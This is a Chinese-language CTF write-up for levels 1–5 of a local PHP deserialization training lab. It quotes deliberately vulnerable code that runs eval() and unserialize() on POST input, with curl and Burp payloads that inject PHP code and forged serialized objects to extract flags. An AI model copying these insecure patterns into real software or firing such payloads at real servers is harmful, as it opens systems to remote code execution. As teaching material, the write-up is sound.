Hello CTF 从 0 开始的PHP反序列化入门靶场
2025年8月25日
目录
目录
Hello CTF - 从 0 开始的PHP反序列化入门靶场 writeup
Repo: github.com/ProbiusOfficial/PHPSerialize-labs 讨厌 PHP……不过也是做上了探姬老师出的题了。
部署
直接 docker 部署。
docker run -p 8081:80 -d ghcr.io/probiusofficial/phpserialize-labs
直接访问 localhost:8081 即可进入页面。

Level 1
<?php /*
--- HelloCTF - 反序列化靶场 关卡 1 : 类的实例化 ---
HINT:尝实例化下面的FLAG类吧!
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
class FLAG{
public $flag_string = "HelloCTF{????}";
function __construct(){
echo $this->flag_string;
}
}
$code = $_POST['code'];
eval($code);
- 古法 curl 炮制 post 请求,让
code=new FLAG();。
curl -X POST -d "code=new FLAG();" http://localhost:8081/Level1/index.php
- 或者使用 burpsuite 发送 post 请求,将 GET 改为 POST,在最后 body 里添加
code=new FLAG();
发送 POST 请求需要带 header:Content-Type: application/x-www-form-urlencoded
得到 flag
HelloCTF{OK_Now_y0u_c4n_se3_me}
Level 2
`<?php /*
--- HelloCTF - 反序列化靶场 关卡 2 : 类值的传递 ---
HINT:尝试将flag传递出来~
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com
# @link: hello-ctf.com */
error_reporting(0);
$flag_string = "HelloCTF{????}";
class FLAG{
public $free_flag = "???";
function get_free_flag(){
echo $this->free_flag;
}
}
$target = new FLAG();
$code = $_POST['code'];
if(isset($code)){
eval($code);
$target->get_free_flag();
}
else{
highlight_file('source');
}
Now Flag is ???
一样是发送 POST 请求,但是设定好 code 后给 target 的 free_flag 修改为
$flag_string 即可。
- 对于 burpsuite,将 GET 改为 POST 后,在最后 body 添加:
code=new FLAG();
$target->free_flag=$flag_string;
- 对于 curl,curl 在终端对
$有特殊处理,需要使用单引号包裹请求。$符号在 Linux/macOS 的终端(我们称之为 Shell,例如 Bash、Zsh)里是一个有特殊含义的字符。它被用来引用变量。
curl -X POST -d 'code=new FLAG();
$target->free_flag=$flag_string;' http://localhost:8081/Level2/index.php
Now Flag is HelloCTF{I_giv3_t0_y0u&y0u_giv3_t0_me}
Level 3
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 3 : 对象中值的权限 ---
HINT:尝试将flag传递出来~
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
class FLAG{
public $public_flag = "HelloCTF{?";
protected $protected_flag = "?";
private $private_flag = "?}";
function get_protected_flag(){
return $this->protected_flag;
}
function get_private_flag(){
return $this->private_flag;
}
}
class SubFLAG extends FLAG{
function show_protected_flag(){
return $this->protected_flag;
}
function show_private_flag(){
return $this->private_flag;
}
}
$target = new FLAG();
$sub_target = new SubFLAG();
$code = $_POST['code'];
if(isset($code)){
eval($code);
} else { highlight_file(__FILE__);
echo "Trying to get FLAG...<br>";
echo "Public Flag: ".$target->public_flag."<br>";
echo "Protected Flag:".$target->protected_flag ."<br>";
echo "Private Flag:".$target->private_flag ."<br>";
}
?>
Trying to get FLAG...
Public Flag: HelloCTF{se3_me_
Protected Flag: Error: Cannot access protected property FLAG:: in ?
Private Flag: Error: Cannot access private property FLAG:: in ?
...Wait,where is the flag?
拼接 flag,一个一个来。
Public 类是可以直接读取的。
Protected 是子类可以读取的,echo $sub_target->show_protected_flag(); 可得到。
Private 类是子类也不可读取,只能通过 PHP 特性获取。
常用的方法是,在PHP 有一个反射越权特性,可以通过构造反射类,在反射类里面设定访问权限,从而读取 private 内容。
PHP 提供了一整套强大的“反射”API,它允许程序在运行时检查自身的结构,包括类、方法、属性等,甚至可以无视
private和protected的限制。这是最常用、最正规的“越权”方法。 核心思想:
- 获取这个类的反射实例 (
ReflectionClass)。- 从反射实例中获取私有属性的反射实例 (
ReflectionProperty)。- 使用
setAccessible(true)方法,强行将这个私有属性设置为“可访问”。- 读取属性的值。
// 首先必须有一个 FLAG 类的具体对象
// 这个对象已经存在了,比如叫 $target
// 如果没有,需要自己 new 一个
// 获取 FLAG 类的反射
$reflection = new ReflectionClass('FLAG');
// 获取私有属性 private_flag
$property = $reflection->getProperty('private_flag');
// 设置属性为可访问
$property->setAccessible(true);
// 从这个实例中获取值,而不是从 $reflection 中获取
$secret_value = $property->getValue($target);
echo $secret_value;
从而构造 POST 的 payload:
code=new FLAG();
echo $target->public_flag;
echo $sub_target->show_protected_flag();
$reflection = new ReflectionClass('FLAG');
$property = $reflection->getProperty('private_flag');
$property->setAccessible(true);
$secret_value = $property->getValue($target);
echo $secret_value;
或者发送 curl 请求:
curl -X POST -d 'code=new FLAG();echo $target->public_flag;echo $sub_target->show_protected_flag();$reflection = new ReflectionClass('FLAG');$property =$reflection->getProperty('private_flag');$property->setAccessible(true);$secret_value = $property->getValue($target);echo $secret_value;' http://localhost:8081/Level3/index.php
HelloCTF{se3_me_4nd_g3t_mmmme}
Level 4
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 4 : 序列化 ---
HINT:嗯!?全是私有,怎么获取flag呢?试试序列化!
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
class FLAG3{
private $flag3_object_array = array("?","?");
}
class FLAG{
private $flag1_string = "?";
private $flag2_number = '?';
private $flag3_object;
function __construct() {
$this->flag3_object = new FLAG3();
}
}
$flag_is_here = new FLAG();
$code = $_POST['code'];
if(isset($code)){
eval($code);
} else {
highlight_file(__FILE__);
}
关于 PHP 反序列化的知识:
序列化 (
serialize):将一个对象(或数组等)的状态,转换成一个可以存储或传输的字符串。 反序列化 (unserialize):读取序列化后的字符串,并在内存中重建出原始的对象。
序列化示例:
class SecretVault {
private $secret_key = "CTF{...}";
public $owner = "Alice";
}
$vault = new SecretVault();
// 把 $vault 对象序列化
$serialized_string = serialize($vault);
echo $serialized_string;
输出的字符串会是这样的:
O:10: "SecretVault":2:{s:25: " SecretVault secret_key";s:9: "CTF{...}";s:5: "owner";s:5: "Alice";}
这个字符串看起来复杂,但很有规律:
O: 表示这是一个对象 (Object)。10: 表示类名的长度是 10个字符 (SecretVault)。"SecretVault": 类名。2: 表示这个对象有 2个属性。{...}: 花括号里是所有属性的描述。s:5:"owner";s:5:"Alice";: 描述public属性owner,s代表字符串,5是长度。s:25:"\0SecretVault\0secret_key";s:9: “CTF{…}”;: 描述private属性secret_key `。 这里出现了带空字节的特殊键名,可利用序列化处理获取 flag。
依赖这个原理,构造这样的 payload:
code=new FLAG();
echo serialize($flag_is_here);
得到(做一下切分处理,大括号拆开,分号隔行):
O:4:"FLAG":3:
{
s:18:"�FLAG�flag1_string";
s:8:"ser4l1ze";
s:18:"�FLAG�flag2_number";
i:2;
s:18:"�FLAG�flag3_object";
O:5:"FLAG3":1:{s:25:"�FLAG3�flag3_object_array";
a:2:{i:0;
s:3:"se3";
i:1;
s:2:"me";}
}
}
把 s 开头也就是 string 全部提取出来,得到:
- Flag 1_string: ser4l1ze,
- Flag2_number: 2,
- Flag3_object: se3, me 根据出现顺序,得到 flag(用下划线连接)
HelloCTF{ser4l1ze_2_se3_me}
Level 5
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 5 : 序列化规则 ---
HINT:各有千秋~
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
class a_class{
public $a_value = "HelloCTF";
}
$a_object = new a_class();
$a_array = array(a=>"Hello",b=>"CTF");
$a_string = "HelloCTF";
$a_number = 678470;
$a_boolean = true;
$a_null = null;
/*See How to serialize:
a_object: O:7:"a_class":1:{s:7:"a_value";s:8:"HelloCTF";}
a_array: a:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";}
a_string: s:8:"HelloCTF";
a_number: i:678470;
a_boolean: ;
a_null: N;
Now your turn!*/
<?php
$your_object = unserialize($_POST['o']);
$your_array = unserialize($_POST['a']);
$your_string = unserialize($_POST['s']);
$your_number = unserialize($_POST['i']);
$your_boolean = unserialize($_POST['b']);
$your_NULL = unserialize($_POST['n']);
if(
$your_boolean &&
$your_NULL == null &&
$your_string == "IWANT" &&
$your_number == 1 &&
$your_object->a_value == "FLAG" &&
$your_array['a'] == "Plz" &&
$your_array['b'] == "Give_M3"
){
echo $flag;
}
else{
echo "You really know how to serialize?";
}
答案都已经在明面上了~我们 POST 一个序列化,令其反序列化的数据等于题目所需即可。
构造 POST payload:
o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}
&a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}
&s=s:5:"IWANT";
&i=i:1;
&b=b:1;
&n=N;
得到:
HelloCTF{Gre4t,y0u_can_als0_ser4l1ze2se_1n_y0ur_m1nd!}
未完待续……